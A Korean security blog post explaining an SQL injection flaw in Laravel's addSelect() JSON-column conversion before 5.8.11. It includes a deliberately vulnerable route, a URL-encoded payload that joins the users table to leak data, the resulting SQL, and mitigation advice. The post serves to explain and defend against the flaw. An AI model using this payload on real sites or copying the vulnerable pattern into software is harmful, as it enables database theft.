개요
Laravel Framework는 SELECT Query에서 사용할 Columns을 입력 값을 통해 지정할 수 있습니다.
JSON Data의 경우 addSelect() 함수를 통하여 빠르게 변환할 수 있으며, addSelect() 함수는 json_extract() 함수로 변환되어 쿼리에 사용됩니다.
Blog::query()
->addSelect('title->en');
SELECT json_extract(`title`, '$."en"') FROM blogs;
분석
addSelect() 함수의 변환 과정에서는 Escape 되지 않기 때문에 SQL Injeciton 취약점이 발생할 수 있습니다.
만약 title->en 데이터 부분에 '#를 추가할 수 있다면 공격자가 직접 json_extract 함수를 닫은 뒤 Query를 추가할 수 있습니다.
Blog::query()
->addSelect('title->en'#');
SELECT json_extract(`title`, '$."en'#"') FROM blogs;
예제로 사용된 취약한 Laravel의 일부 코드는 다음과 같습니다.
Route::get('/posts', function (Request $request) {
$fields = $request->get('fields', []);
$users = Blog::query()->addSelect($fields)->get();
return response()->json($users);
});
정상적인 Requests는 fields 배열 파라메터에 데이터를 입력하여 사용되지만, OUTER JOIN 구문 등을 이용하여 서버 내 중요 정보들을 빼낼 수 있습니다.
다음은 URL로 Encodeing 된 SQL Injection 공격 코드입니다.
/blog?fields[]=%22%27%29%29+FROM+blogs+RIGHT+OUTER+JOIN+users+ON+users.id+%3C%3E+null%23
공격 코드가 전송되면 변환 과정 중에 다음과 같이 해석하게 되어 취약점이 발생합니다.
Blog::query()->addSelect([
'"')) FROM blogs RIGHT OUTER JOIN users ON users.id <> null#'
])->get();
SELECT json_extract(`title`, '$."en"')) FROM blogs RIGHT OUTER JOIN users ON users.id <> null#'"') FROM blogs;
다만 해당 공격이 성공하려면 조회하려는 테이블에 JSON 데이터가 존재해야 하며, 그렇지 않다면 json_extract() 함수에서 에러가 발생하여 SQL Injeciton 취약점이 발생하지 않게됩니다.
대응 방안
1. Laravel을 5.8.11 이상의 최신 버전으로 업그레이드 하는 것이 가장 좋은 방안입니다.
2. 쿼리 빌더 사용 시 사용자 입력을 컬럼명으로 지정하지 않도록 구현해야 합니다.
Reference
https://stitcher.io/blog/unsafe-sql-functions-in-laravel
'Hack > Web' 카테고리의 다른 글
Relative Path Overwrite(RPO) (0) | 2020.09.22 |
---|---|
XS Search Attack (Cross Site Search) (0) | 2020.09.22 |
Laravel Framework 보안 관련 내용 정리 (0) | 2020.09.22 |
Reflected File Download (0) | 2020.09.22 |
Phar 파일을 이용한 PHP Unserialization (0) | 2020.09.22 |
댓글